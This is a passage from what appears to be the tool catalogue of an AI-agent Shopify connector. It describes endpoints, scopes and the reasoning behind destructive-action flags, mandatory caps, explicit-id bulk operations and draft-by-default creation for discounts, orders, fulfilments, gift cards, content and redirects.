/api/v1/tools/shopify/delivery/shipping-origin. Scopes: write_shipping. shopify_attach_media_to_variant (write) — Attach existing Shopify product media to a variant, so that selecting the variant shows that image. Takes the parent product id, the variant id and up to 100 media ids already on the product. Use shopify_detach_media_from_variant to undo. POST /api/v1/tools/shopify/variants/media/attach. Scopes: write_products. shopify_begin_order_edit (write) — Open an order-edit session and return the current totals and the editable lines. NOTHING IS CHANGED OR CHARGED YET, and a session that is never committed changes nothing at all — which is why this is not destructive. The line ids it returns are a different namespace from the order's own line items; passing the wrong one is the mistake this action exists to make visible. POST /api/v1/tools/shopify/orders/edit/begin. Scopes: write_order_edits. shopify_bulk_activate_discount_codes (write, destructive) — DESTRUCTIVE. Switch several discount codes back on at once. Destructive in the same sense one activation is: every code switched on starts giving margin away again. The bulk form multiplies that by the length of the list, which is why the list is explicit and capped. NO SAVED SEARCH AND NO SEARCH STRING. Shopify offers savedSearchId and search as alternatives to ids; neither is exposed. The effect ships via list-then-name - read the discounts with shopify_list_discounts, then name the ones to switch on. What is refused is a selector whose blast radius the caller cannot state and the audit row cannot record. Asynchronous: it returns a job. Poll it with shopify_get_job. Reversible by shopify_bulk_deactivate_discount_codes. POST /api/v1/tools/shopify/discounts/bulk-activate. Scopes: write_discounts. shopify_bulk_deactivate_discount_codes (write) — Switch several discount codes off at once. THE EMERGENCY STOP. The bulk form of shopify_deactivate_discount_code, and the reason it is not marked destructive is the same: it makes the store give away less, it keeps the usage history that explains what happened, and shopify_bulk_activate_discount_codes puts it back. When a code generator has misfired and fifty codes are loose, this is the one call that stops all of them. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. The effect ships via list-then-name; what is refused is a selector whose blast radius the caller cannot state and the audit row cannot record. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/discounts/bulk-deactivate. Scopes: write_discounts. shopify_bulk_delete_automatic_discounts (write, destructive) — DESTRUCTIVE. Delete several automatic discounts at once. Irreversible and unrecreatable by this connector, for the reason shopify_delete_automatic_discount gives. shopify_deactivate_automatic_discount is the reversible alternative and is the one to reach for first. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. The effect ships via list-then-name; what is refused is a selector whose blast radius the caller cannot state and the audit row cannot record. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/discounts/automatic/bulk-delete. Scopes: write_discounts. shopify_bulk_delete_discount_codes (write, destructive) — DESTRUCTIVE. Delete several discount codes and their history. Irreversible, and it takes the usage history with it. shopify_bulk_deactivate_discount_codes stops the same codes working just as completely, keeps the record of what they did, and can be undone - prefer it unless the codes genuinely must cease to exist. Orders already placed with these codes keep their discount. Deleting reprices nothing. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. This is the operation where that matters most: a search string on a delete is an unbounded, unrecordable deletion. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/discounts/bulk-delete. Scopes: write_discounts. shopify_bulk_delete_draft_orders (write, destructive) — DESTRUCTIVE. Delete several draft orders at once. Irreversible. The blast radius is small by construction, the same way single deletion is: a draft is unpaid, so deleting one destroys a quote and touches no money, no stock and no customer. Shopify refuses a draft that has been completed, because at that point it is an order. There is no undelete. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. On a delete this is the whole point: a search string is an unbounded deletion the audit row cannot describe. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/draft-orders/bulk-delete. Scopes: write_draft_orders. shopify_bulk_delete_metaobjects (write, destructive) — DESTRUCTIVE -- delete up to 100 metaobjects by id. Returns an asynchronous job; poll it with shopify_get_job. The open-ended 'delete every record of this type' form is not available. POST /api/v1/tools/shopify/metaobjects/bulk-delete. Scopes: write_metaobjects. shopify_bulk_delete_url_redirects (write) — Remove up to 100 Shopify URL redirects by explicit id. There is no search selector on purpose - list them with shopify_list_url_redirects and name the ones you mean. Asynchronous: check the returned job with shopify_get_job. POST /api/v1/tools/shopify/navigation/redirects/bulk-delete. Scopes: write_online_store_navigation. shopify_calculate_draft_order (write) — Price a basket WITHOUT creating anything — subtotal, tax, shipping and total, optionally for a specific customer whose address decides the tax. Nothing is written and no draft order exists afterwards. Shopify classifies it as a mutation, which is a schema artefact rather than a statement about its effect. It is the read that makes creating a draft order unnecessary for most questions. POST /api/v1/tools/shopify/draft-orders/calculate. Scopes: write_draft_orders. shopify_calculate_refund (write) — Price a refund before making one. Moves no money and writes nothing. POST /api/v1/tools/shopify/orders/refund/calculate. Scopes: read_orders. shopify_calculate_return (write) — Calculate the financial outcome of a Shopify return without creating it: per-line subtotals, taxes, restocking fees and the return shipping fee. Run this before shopify_refund_return so the refund amount is computed rather than guessed. POST /api/v1/tools/shopify/returns/calculate. Scopes: read_returns. shopify_cancel_fulfillment (write) — Reverse a fulfilment so the items can be shipped again. THE UNDO FOR THIS CONNECTOR'S RISKIEST WRITE: Mark goods as shipped emails a shopper and, until this shipped, could not be reversed at all. It is not destructive because it IS the reversal — but note what it cannot reverse: a shipping-confirmation email that has already been sent has left, and cancelling the fulfilment sends no retraction. Shopify does not state this mutation's access scope; the fulfilment-order write scope is the strong inference from every neighbouring mutation and one live call settles it. POST /api/v1/tools/shopify/fulfillments/cancel. Scopes: write_merchant_managed_fulfillment_orders. shopify_cancel_fulfillment_order (write, destructive) — DESTRUCTIVE. Cancel the instruction to ship. A replacement is returned. POST /api/v1/tools/shopify/fulfillment-orders/cancel. Scopes: write_merchant_managed_fulfillment_orders, write_third_party_fulfillment_orders. shopify_cancel_inventory_transfer (write, destructive) — DESTRUCTIVE -- cancel an inventory transfer. Reserved quantity returns to available stock at the origin and the transfer stops being usable. There is no un-cancel; duplicate the transfer to make a new draft from it. POST /api/v1/tools/shopify/inventory/transfers/cancel. Scopes: write_inventory_transfers. shopify_cancel_order (write, destructive) — DESTRUCTIVE — cancel a Shopify order. There is no undo; Shopify has no 'uncancel'. It does NOT refund the shopper: refunding is shopify_refund_order, deliberately separate so an agent can be allowed to stop shipments without being allowed to move money. `restock` decides whether the goods go back on sale and has no default. `notify_customer` emails the shopper a cancellation notice that cannot be recalled. Shopify cancels ASYNCHRONOUSLY and returns a job, so success here means Shopify accepted the cancellation — confirm with shopify_get_order that `cancelledAt` is set before reporting it done. POST /api/v1/tools/shopify/orders/cancel. Scopes: write_orders. shopify_cancel_return (write) — Cancel a return. The inverse of opening one. Shopify refuses once the return has been refunded or the goods received, which stops this being used to erase a completed transaction. POST /api/v1/tools/shopify/returns/cancel. Scopes: write_returns. shopify_capture_order_payment (write, destructive) — DESTRUCTIVE. Take the money on an authorised order. No inverse. POST /api/v1/tools/shopify/orders/capture. Scopes: write_orders. shopify_close_order (write) — Archive a completed order — REVERSIBLE, unlike cancelling. It changes nothing about the money, the goods or the shopper, and Re-open an order puts it back exactly. This exists because the only order-state write Agentic Fabriq previously offered was Cancel an order, which cannot be undone: an agent asked to clear out last month's completed orders would otherwise reach for the irreversible tool. Shopify also requires the staff user to hold the manage-orders-information permission. POST /api/v1/tools/shopify/orders/close. Scopes: write_orders. shopify_close_return (write) — Close a finished return. Housekeeping: it takes a completed return off the open list and moves no money. Reversible by Re-open a return. POST /api/v1/tools/shopify/returns/close. Scopes: write_returns. shopify_commit_order_edit (write, destructive) — DESTRUCTIVE — apply an order edit. It changes an order a real person placed: the amount owed moves, stock moves, and with notification enabled Shopify emails them about it. THERE IS NO UNCOMMIT — a committed edit is corrected by another edit, not undone — and an edit that raises the total can leave the order with a balance the merchant then has to collect. Check the financial status it returns. POST /api/v1/tools/shopify/orders/edit/commit. Scopes: write_order_edits. shopify_complete_draft_order (write, destructive) — DESTRUCTIVE — turn a quote into a real order. It creates an order in the merchant's books, commits the stock and starts every downstream automation wired to new orders. THERE IS NO UNCOMPLETE. Agentic Fabriq defaults to marking the new order as awaiting payment, which is the opposite of Shopify's own default: saying the money already arrived is an assertion nobody checked, so a caller that means it has to say so. This connector will never charge a stored payment method. POST /api/v1/tools/shopify/draft-orders/complete. Scopes: write_draft_orders. shopify_count_abandoned_checkouts (read) — Count abandoned checkouts, returning no personal data at all. GET /api/v1/tools/shopify/abandoned-checkouts/count. Scopes: read_orders. shopify_count_blogs (read) — Count the Shopify store's blogs with one number. Returns a precision alongside the count. GET /api/v1/tools/shopify/content/blogs/count. Scopes: read_content. shopify_count_catalogs (read) — Count catalogs without paging through them. precision is the field to read, not count: Shopify stops counting at limit and reports the bound instead of the truth, and precision is how it says so. Same shape as shopify_count_locations. GET /api/v1/tools/shopify/catalogs/count. Scopes: read_products. shopify_count_collections (read) — Count Shopify collections, optionally filtered with search syntax such as collection_type:smart. Returns count and precision. GET /api/v1/tools/shopify/collections/count. Scopes: read_products. shopify_count_customers (read) — Count customers, optionally matching a search, without reading any of them. 'How many customers do we have in Canada' is answerable with one integer and was previously answerable only by paging real people's names and email addresses into a model's context. GET /api/v1/tools/shopify/customers/count. Scopes: read_customers. shopify_count_discount_codes (read) — Count redeem codes. Not the same number as the discount count. GET /api/v1/tools/shopify/discounts/codes/count. Scopes: read_discounts. shopify_count_discounts (read) — Count discounts without paging them. Size a bulk job before starting it. GET /api/v1/tools/shopify/discounts/count. Scopes: read_discounts. shopify_count_draft_orders (read) — Count draft orders without paging them. GET /api/v1/tools/shopify/draft-orders/count. Scopes: read_draft_orders. shopify_count_events (read) — Count Shopify store events matching a search filter, without returning any of them. Capped by Shopify at 10,000; the precision field says EXACT or AT_LEAST. GET /api/v1/tools/shopify/events/count. Scopes: read_orders, read_products, read_customers, read_draft_orders. shopify_count_gift_cards (read) — Count gift cards. Report the precision, not the count alone. GET /api/v1/tools/shopify/gift-cards/count. Scopes: read_gift_cards. shopify_count_locations (read) — Count the store's locations, optionally filtered with Shopify search syntax. Check the returned precision: Shopify caps the count at the limit. GET /api/v1/tools/shopify/locations/count. Scopes: read_locations. shopify_count_orders (read) — Count orders, optionally matching a search, without paging them. 'How many orders this week' previously meant paging rows of order data into a model's context to produce one integer. Subject to the same roughly-60-day window as listing orders. GET /api/v1/tools/shopify/orders/count. Scopes: read_orders. shopify_count_pages (read) — Count the Shopify online store's pages with one number instead of paging them. Returns a precision alongside the count; an AT_LEAST count must not be reported as exact. GET /api/v1/tools/shopify/content/pages/count. Scopes: read_content. shopify_count_products (read) — Count products, optionally matching a search, without paging them. Answers 'how many products do we have' with one number instead of pulling hundreds of rows through the store's shared query budget. Report the precision Shopify returns — an AT_LEAST count presented as exact is a wrong answer. GET /api/v1/tools/shopify/products/count. Scopes: read_products. shopify_count_segments (read) — Count Shopify customer segments. Returns a number and a precision flag; Shopify caps the count at the given limit, default 10,000. GET /api/v1/tools/shopify/segments/count. Scopes: read_customers. shopify_count_url_redirects (read) — Count the Shopify store's URL redirects with one number. Run this before shopify_delete_all_url_redirects - it is the only way to find out how much that call would destroy. GET /api/v1/tools/shopify/navigation/redirects/count. Scopes: read_online_store_navigation. shopify_count_variants (read) — Count Shopify product variants, optionally filtered with search syntax. Returns count and precision; precision reads AT_LEAST on very large catalogues. GET /api/v1/tools/shopify/variants/count. Scopes: read_products. shopify_create_article (write) — Create a Shopify blog article. It is ALWAYS created UNPUBLISHED and there is no publication argument - shopify_update_article publishes it as a separate act. A byline is required; get one from shopify_list_article_authors rather than inventing it. No image URL is accepted, because Shopify would fetch it; alt text alone is settable. POST /api/v1/tools/shopify/content/articles. Scopes: write_content. shopify_create_blog (write) — Create a Shopify blog - a container for articles. It publishes nothing by itself. The comment policy decides whether comments are MODERATED, CLOSED, or AUTO_PUBLISHED; AUTO_PUBLISHED means the public's text goes live on the storefront with no human review. POST /api/v1/tools/shopify/content/blogs. Scopes: write_content. shopify_create_bxgy_discount_code (write, destructive) — DESTRUCTIVE - Create a buy-X-get-Y discount code. IT GIVES AWAY REAL STOCK. THE "GET" SIDE IS THE BOUND AND IT IS MANDATORY. A BXGY discount is the one native type with no percentage or cash ceiling of its own - Shopify supports neither on DiscountCustomerGetsValueInput for BXGY - so get_quantity is the only ceiling that exists and it is capped at BXGY_MAX_GET_QUANTITY. usage_limit and ends_at are required for the same reason they are required on shopify_create_discount_code: an unbounded "get" is E4, and the provider's cap parameters are what turn it into a bounded operation. uses_per_order_limit defaults to 1. Shopify's own default is unlimited, which turns one code into "buy two, get twenty" on a single basket. POST /api/v1/tools/shopify/discounts/bxgy. Scopes: write_discounts. shopify_create_catalog (write) — Create a catalog for one or more markets. CREATED IN DRAFT BY DEFAULT. An ACTIVE catalog applies its price list and its product visibility to every shopper in its markets immediately. context accepts either markets or B2B company locations. Only the MARKET form is exposed: company-location catalogs are B2B, which needs Shopify Plus with B2B enabled, and that is an E7 the whole connector already carries. publicationId is NOT exposed, and this is the one worth knowing about. It controls which products the catalog shows, and obtaining a publication id needs read_publications - a scope that does not appear anywhere on Shopify's access-scopes reference, re-verified against the 110-name list on 2026-08-15. Shopify's own guidance covers the omission: "Do NOT create a publication if you want product availability determined by the sales channel", which is what happens when the field is left out. POST /api/v1/tools/shopify/catalogs. Scopes: write_products. shopify_create_collection (write) — Create a manual collection, optionally with products in it. A collection is a grouping rather than merchandise: creating one publishes nothing. RULE-BASED SMART COLLECTIONS ARE NOT OFFERED — a rule keeps matching new products forever after the call returns, with no Agentic Fabriq action row behind anything it later includes. Manual membership is explicit and reversible one product at a time. Shopify refuses collection creation on the Starter and Retail plans. POST /api/v1/tools/shopify/collections. Scopes: write_products. shopify_create_customer (write) — Create a customer record. THIS IS AGENTIC FABRIQ CREATING PERSONAL DATA on the merchant's behalf, which is the sharpest edge in this connector. No marketing-consent field is settable: an agent asserting that a person agreed to be marketed to is a legal claim Agentic Fabriq has no basis to make. Creating a customer sends no email — Shopify's account-invitation mutation is separate and is not offered. Note that Agentic Fabriq offers no customer DELETE: erasing a person's record is a data-protection decision the merchant makes in their own admin. POST /api/v1/tools/shopify/customers. Scopes: write_customers. shopify_create_customer_address (write) — Add a mailing address to an existing Shopify customer, optionally making it their default. Address keys are allow-listed (address1, address2, city, company, country_code, first_name, last_name, phone, province_code, zip); an unrecognised key is refused rather than ignored. POST /api/v1/tools/shopify/customers/addresses. Scopes: write_customers. shopify_create_delivery_customization (write) — Bind an ALREADY INSTALLED function to checkout. Created disabled. POST /api/v1/tools/shopify/delivery/customizations. Scopes: write_delivery_customizations. shopify_create_delivery_profile (write) — Create a shipping profile. coversAllItems is not exposed. POST /api/v1/tools/shopify/delivery/profiles. Scopes: write_shipping. shopify_create_discount_code (write, destructive) — DESTRUCTIVE — create a percentage discount code. IT GIVES AWAY REAL MARGIN, and the bounds are mandatory rather than defaulted: a usage limit and an end date must both be supplied, so no code Agentic Fabriq creates is open-ended. Percentage only — a fixed cash discount is unbounded against a small basket. It applies once per customer unless told otherwise, which is the opposite of Shopify's own default. AUTOMATIC discounts are not offered at all: a rule that discounts every matching cart forever has no action row behind anything it later gives away. POST /api/v1/tools/shopify/discounts. Scopes: write_discounts. shopify_create_draft_order (write) — Create a quote — a priced basket that has not been paid for. NOTHING IS CHARGED, NOTHING IS RESERVED AND NOBODY IS EMAILED: Shopify's mutation for mailing a quote to a customer is deliberately not offered, and completing the draft is a separate action. Only real catalogue variants at the merchant's own prices can be added; inventing a priced custom line is refused, because naming a price on a document a customer can pay is not an agent's decision. Reversible by Delete a draft order. POST /api/v1/tools/shopify/draft-orders. Scopes: write_draft_orders. shopify_create_draft_order_from_order (write) — Build an unpaid quote from an existing order. NO MONEY MOVES. The reorder path. It copies a real order into a new DRAFT - unpaid, uncommitted, nobody emailed - which is what "same again, please" means operationally. The original order is not touched, not cancelled and not repriced; this creates a second document beside it. Turning the draft into a real order is the separate, destructive shopify_complete_draft_order. Reversible until then by shopify_delete_draft_order. POST /api/v1/tools/shopify/draft-orders/from-order. Scopes: write_draft_orders, write_orders. shopify_create_free_shipping_discount_code (write, destructive) — DESTRUCTIVE - Create a free-shipping code. THE PRICE CAP IS A REQUIRED ARGUMENT. maximum_shipping_price HAS NO DEFAULT. Shopify's own words for the field: *"if set to 20.00, then only shipping rates that cost $20.00 or less will be made free. To apply the discount to all shipping rates, specify null."* Null is the version that pays freight on a pallet to another continent, and it is exactly the case E4 has in mind when it says that if the provider offers a cap parameter, use it and ship. This connector uses it and requires it. usage_limit and ends_at are required for the same reason they are on shopify_create_discount_code. Subscriptions are excluded and are not an argument: a free-shipping discount that applies to a subscription recurs on every billing cycle, and Shopify's recurringCycleLimit: 0 means indefinitely. POST /api/v1/tools/shopify/discounts/free-shipping. Scopes: write_discounts. shopify_create_fulfillment (write, destructive) — DESTRUCTIVE — mark goods as shipped against a Shopify fulfilment order. With `notify_customer` Shopify emails the shopper a shipping confirmation carrying whatever tracking details are supplied, AND THAT MAIL CANNOT BE RECALLED — a shipping notice for goods that were not actually shipped is worse than no notice at all. It also moves the order's fulfilment status, which feeds the merchant's own reporting and any automation wired to it. POST /api/v1/tools/shopify/fulfillments. Scopes: write_merchant_managed_fulfillment_orders. shopify_create_fulfillment_event (write, destructive) — DESTRUCTIVE -- create a Shopify fulfilment event recording shipment status (CARRIER_PICKED_UP, IN_TRANSIT, OUT_FOR_DELIVERY, DELIVERED and so on) against an existing fulfilment. Shown to the shopper and impossible to delete or edit -- verify the status before sending. POST /api/v1/tools/shopify/fulfillments/events. Scopes: write_fulfillments. shopify_create_inventory_shipment (write) — Create a DRAFT inventory shipment inside a transfer with up to 100 line items. Each line must not exceed the transfer line's shippableQuantity. Nothing moves until the shipment is marked in transit. POST /api/v1/tools/shopify/inventory/shipments. Scopes: write_inventory_shipments. shopify_create_inventory_shipment_in_transit (write, destructive) — DESTRUCTIVE -- create an inventory shipment directly in IN_TRANSIT state. Stock leaves the origin location immediately. Shopify publishes no un-ship; the forward path is receiving at the destination. POST /api/v1/tools/shopify/inventory/shipments/in-transit. Scopes: write_inventory_shipments. shopify_create_inventory_transfer (write) — Create a DRAFT inventory transfer between two store locations with up to 100 line items. Nothing is reserved and nothing goes off sale until the transfer is marked ready to ship. POST /api/v1/tools/shopify/inventory/transfers. Scopes: write_inventory_transfers. shopify_create_inventory_transfer_ready_to_ship (write, destructive) — DESTRUCTIVE -- create an inventory transfer already in READY_TO_SHIP state. The quantity is reserved at the origin location immediately, so the storefront can no longer sell it. Use the plain create plus mark-ready when the transfer should be reviewed first. POST /api/v1/tools/shopify/inventory/transfers/ready-to-ship. Scopes: write_inventory_transfers. shopify_create_market (write) — Create a market - a country group with its own currency and prices. CREATED IN DRAFT BY DEFAULT, and that is a deliberate departure from Shopify. An ACTIVE market starts routing real shoppers into a different currency and a different set of prices the moment it exists. Pass market_status="ACTIVE" only after the market has been checked with shopify_resolve_market_for_country. marketCreate and marketUpdate are also the SUPERSEDING form of four mutations this connector will not call: marketRegionsCreate, marketRegionDelete, marketRegionsDelete and marketCurrencySettingsUpdate are all deprecated in favour of these two, and a deprecated mutation still compiles. POST /api/v1/tools/shopify/markets. Scopes: read_markets, write_markets. shopify_create_marketing_engagement (write) — Record a day's engagement figures - impressions, clicks, sessions, shares - against a Shopify external marketing activity. Nothing is sent and nothing is charged. is_cumulative is REQUIRED: true means running totals since the campaign began, false means that day alone, and the wrong answer silently corrupts the merchant's reporting. Ad spend is deliberately not settable here. POST /api/v1/tools/shopify/marketing/engagements. Scopes: write_marketing_events. shopify_create_menu (write) — Create a Shopify navigation menu. It becomes visible when the theme references its handle, so creating one changes nothing on its own. Each item needs a title and a type; HTTP items carry a url, every other type carries a resource_id. Nest with an items key, up to three levels and 100 items per level. POST /api/v1/tools/shopify/navigation/menus. Scopes: write_online_store_navigation. shopify_create_metafield_definition (write) — Create a metafield definition for PRODUCT, PRODUCTVARIANT, ORDER, CUSTOMER, COLLECTION or DRAFTORDER, with a type from shopify_list_metafield_definition_types and optional validations. POST /api/v1/tools/shopify/metafield-definitions. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_create_metaobject (write) — Create a metaobject of an existing type with up to 100 field key/value pairs. Read the definition first to learn which keys are accepted. POST /api/v1/tools/shopify/metaobjects. Scopes: write_metaobjects. shopify_create_metaobject_definition (write) — Create a metaobject definition with up to 100 field definitions. The type string is permanent. Field types come from shopify_list_metafield_definition_types. POST /api/v1/tools/shopify/metaobject-definitions. Scopes: write_metaobject_definitions. shopify_create_order (write, destructive) — DESTRUCTIVE. Create a real order from catalogue variants. Sends no email. POST /api/v1/tools/shopify/orders/create. Scopes: write_orders. shopify_create_order_risk_assessment (write, destructive) — DESTRUCTIVE. Record a fraud verdict against a real person's order. THIS IS AN ACCUSATION WITH A PERMANENT RECORD AND NO DELETE. Shopify publishes no mutation that removes an assessment: it stays on the order, it changes risk.recommendation, it fires an orders/risk_assessment_changed webhook to everything the merchant has wired up, and the staff member who reads it next may cancel the order because of it. Correcting it means adding a second assessment beside the first, not replacing it. That is why this is marked destructive even though it moves no money. facts are the evidence, and they are what separate a useful assessment from an opinion. Each is {"description": ..., "sentiment": NEGATIVE | NEUTRAL | POSITIVE}; Shopify accepts at most MAX_RISK_FACTS and truncates a description past MAX_RISK_FACT_DESCRIPTION characters. POST /api/v1/tools/shopify/orders/risk/create. Scopes: write_orders. shopify_create_page (write) — Create a Shopify online-store page. It is ALWAYS created UNPUBLISHED and there is no publication argument - a person, or a separate call to shopify_update_page, decides when shoppers can see it. The body is HTML and renders on the storefront once published. POST /api/v1/tools/shopify/content/pages. Scopes: write_content. shopify_create_product (write) — Create a Shopify product. It is ALWAYS created as a DRAFT and there is no way to ask for anything else — a draft is invisible to shoppers until a person publishes it in the store admin, which is the right number of humans between an agent and a shop window. No price and no variants are set; Shopify creates a default variant. Publishing is not available through Agentic Fabriq. POST /api/v1/tools/shopify/products. Scopes: write_products. shopify_create_product_bundle (write) — Create a Shopify product bundle from existing products. Each component names a product id, an optional quantity and the option selections to expose on the bundle. Up to 30 components. Asynchronous: poll the returned operation id with shopify_get_product_operation. Requires the shop to have the bundles feature. POST /api/v1/tools/shopify/products/bundles. Scopes: write_products. shopify_create_product_options (write) — Add product options to a Shopify product. Takes the product id and up to three {name, values, position} entries. variant_strategy LEAVE_AS_IS (default) adds the axis only; CREATE fans out a variant for every combination. Variants created here have no price and must be priced in the Shopify admin. POST /api/v1/tools/shopify/products/options. Scopes: write_products. shopify_create_return (write) — Open a return against a fulfilled order, naming the items and the reason. A RETURN IS A RECORD, NOT A REFUND — no money moves here. Refunding is a separate, separately-grantable action, the same separation cancelling and refunding an order already have. Reversible by Cancel a return. Before this, the only returns story Agentic Fabriq had was a raw refund, which gave money back with no record of why and no tracking of the goods coming the other way. POST /api/v1/tools/shopify/returns. Scopes: write_returns. shopify_create_reverse_delivery (write) — Create a Shopify reverse delivery for a reverse fulfilment order with carrier tracking details. Line items are required -- an empty list would mean 'everything', which is unbounded. No return label can be attached through this tool by design. POST /api/v1/tools/shopify/returns/reverse-deliveries. Scopes: write_returns. shopify_create_saved_search (write) — Save a search the merchant will see as a tab in their own admin. POST /api/v1/tools/shopify/saved-searches. Scopes: read_customers, read_orders, read_products, read_draft_orders. shopify_create_segment_members_query (write) — Create a Shopify customer-segment members query: returns an id, the current member count and whether the computation has finished. Feed the id to shopify_list_segment_members as query_id to page a stable snapshot. Creates no customer data. POST /api/v1/tools/shopify/segments/members/query. Scopes: read_customers. shopify_create_url_redirect (write, destructive) — DESTRUCTIVE - create a Shopify URL redirect. Everyone visiting the path is silently 301'd to the target, including crawlers, and if the path currently resolves to a real page that page becomes unreachable. The target may be an absolute URL pointing off the store entirely - check it. Reversible with shopify_delete_url_redirect. POST /api/v1/tools/shopify/navigation/redirects. Scopes: write_online_store_navigation. shopify_create_variants (write) — Create variants on a Shopify product. Each entry needs option_values naming a value for every product option, and may carry sku, barcode, inventory_policy and taxable. Up to 100 per call. Price and compare-at price cannot be set by this tool. POST /api/v1/tools/shopify/variants. Scopes: write_products. shopify_create_web_presence (write, destructive) — DESTRUCTIVE. Put a storefront on a domain or a subfolder. A WEB PRESENCE IS AN ADDRESS SHOPPERS AND SEARCH ENGINES REACH. Giving one a domain makes that domain serve a storefront; giving one a subfolder suffix makes /en-us-shaped URLs start resolving. Either way a URL that did not serve a shopfront a second ago now does, under whatever language default_locale names, and search engines will index it. It is flagged destructive for that reason rather than for deleting anything. domain_id and subfolder_suffix are MUTUALLY EXCLUSIVE and Shopify says so on the input type: each must be null if the other is not. Exactly one is required here. This is the SUPERSEDING form of marketWebPresenceCreate, which Shopify deprecated in favour of it. The deprecated mutation still compiles and still runs, which is why this connector names only webPresenceCreate anywhere. POST /api/v1/tools/shopify/markets/web-presences. Scopes: read_markets, write_markets. shopify_credit_gift_card (write, destructive) — DESTRUCTIVE. Add spendable money to a gift card. Creates liability. POST /api/v1/tools/shopify/gift-cards/credit. Scopes: write_gift_cards. shopify_deactivate_automatic_discount (write) — Switch OFF an automatic discount the merchant made. EMERGENCY STOP. AF DOES NOT CREATE AUTOMATIC DISCOUNTS AND CANNOT SWITCH ONE ON. An automatic discount applies itself to every matching cart with no AF action row behind any of it, which is why creating one and activating one are both refused. Switching one OFF is the opposite operation: it silences a rule the merchant already made, it makes the store give away less, and it is the fastest thing anyone can do when a badly-scoped promotion is discounting the whole catalogue. THE ASYMMETRY IS DELIBERATE. This is the only reversal in the connector whose forward direction is deliberately absent, and that is the safe way round: the half AF withholds is the half that creates a standing rule. Undoing this needs a person in the Shopify admin, which is the correct place for the decision to turn a self-applying discount back on. POST /api/v1/tools/shopify/discounts/automatic/deactivate. Scopes: write_discounts. shopify_deactivate_discount_code (write) — Switch a discount code off without deleting it — THE EMERGENCY STOP for a code that has escaped. One call stops it working, Activate a discount code switches it back on if the panic was misplaced, and the usage history that explains what happened is kept. POST /api/v1/tools/shopify/discounts/deactivate. Scopes: write_discounts. shopify_deactivate_gift_card (write, destructive) — DESTRUCTIVE. Stop a card being spent. Shopify publishes no reactivate. POST /api/v1/tools/shopify/gift-cards/deactivate. Scopes: write_gift_cards. shopify_deactivate_inventory (write, destructive) — DESTRUCTIVE — stop stocking an item at a location. It takes the item off sale there AND discards the quantity recorded, which re-activating does not restore. Shopify refuses when the location has committed or incoming stock, which is the guard against using it on an item with unshipped orders against it. POST /api/v1/tools/shopify/inventory/deactivate. Scopes: write_inventory. shopify_deactivate_location (write, destructive) — DESTRUCTIVE -- deactivate a location. Its inventory, pending orders and moving transfers go to destination_location_id, which is required here. Reversible by activating it again, but the stock does not come back with it. POST /api/v1/tools/shopify/locations/deactivate. Scopes: write_locations. shopify_debit_gift_card (write, destructive) — DESTRUCTIVE. Take spendable money off a card, with no notice to the holder. POST /api/v1/tools/shopify/gift-cards/debit. Scopes: write_gift_cards. shopify_decline_return (write, destructive) — DESTRUCTIVE — decline a return the customer requested. It tells a real person they cannot send goods back, and Shopify moves the return to DECLINED rather than back to REQUESTED, so the customer has to raise a new one. The reason is mandatory because it is the only explanation the merchant's own record will carry. POST /api/v1/tools/shopify/returns/decline. Scopes: write_returns. shopify_delete_all_external_marketing_activities (write, destructive) — DESTRUCTIVE - delete every external marketing activity Agentic Fabriq created on this store, along with the engagement history attributed to them. No selector, no undo. You must pass confirm exactly as "DELETE ALL". shopify_delete_external_marketing_activity removes one. POST /api/v1/tools/shopify/marketing/activities/delete-all. Scopes: write_marketing_events. shopify_delete_all_url_redirects (write, destructive) — DESTRUCTIVE - delete EVERY URL redirect in the Shopify store. No selector, no undo, no copy kept: every old link the merchant ever repaired starts 404ing. You must pass confirm exactly as "DELETE ALL". Run shopify_count_url_redirects first, or use shopify_bulk_delete_url_redirects to name the ones you actually mean. POST /api/v1/tools/shopify/navigation/redirects/delete-all. Scopes: write_online_store_navigation. shopify_delete_article (write, destructive) — DESTRUCTIVE - delete a Shopify blog article and the comments on it. There is no undelete. Unpublishing it with shopify_update_article removes it from the storefront and keeps the text. POST /api/v1/tools/shopify/content/articles/delete. Scopes: write_content. shopify_delete_automatic_discount (write, destructive) — DESTRUCTIVE. Delete an automatic discount the merchant made. Irreversible, and AF CANNOT RECREATE IT: creating an automatic discount is refused (E6), so nothing in this connector can put back what this removes. Prefer shopify_deactivate_automatic_discount, which stops the rule applying just as completely and leaves the object in the merchant's admin. Orders already placed keep their discount. Deleting reprices nothing. POST /api/v1/tools/shopify/discounts/automatic/delete. Scopes: write_discounts. shopify_delete_blog (write, destructive) — DESTRUCTIVE - delete a Shopify blog AND EVERY ARTICLE IN IT. There is no undelete for either. Check the article count with shopify_get_blog first. POST /api/v1/tools/shopify/content/blogs/delete. Scopes: write_content. shopify_delete_catalog (write, destructive) — DESTRUCTIVE. Delete a catalog. Its markets revert to base prices. Shopify has no undelete. Every market the catalog served goes back to the store's base prices and to sales-channel-determined product availability on the next page load. deleteDependentResources IS NOT EXPOSED, and that is the decision worth reading. It also deletes the price list and the publication the catalog owns. AF ships no mutation that can recreate either - the price-list mutations are refused (E6/E4) and publications need read_publications, which is not an obtainable scope - so forwarding the flag would be a one-way door with no inverse anywhere in AF's surface. Left at Shopify's default of false, the price list survives the catalog and can be attached to another one. POST /api/v1/tools/shopify/catalogs/delete. Scopes: write_products. shopify_delete_collection (write, destructive) — DESTRUCTIVE — delete a collection. THE PRODUCTS SURVIVE; the grouping and any storefront link to it do not. Ships as the inverse of creating one. POST /api/v1/tools/shopify/collections/delete. Scopes: write_products. shopify_delete_comment (write, destructive) — DESTRUCTIVE - delete a Shopify blog comment. There is no undelete. shopify_mark_comment_spam removes it from the storefront just as completely, keeps the record, and is reversible - prefer it unless the text must genuinely cease to exist. POST /api/v1/tools/shopify/content/comments/delete. Scopes: write_content. shopify_delete_customer_address (write, destructive) — DESTRUCTIVE -- delete one address from a Shopify customer's record. Permanent -- Shopify publishes no undelete. Re-adding the address 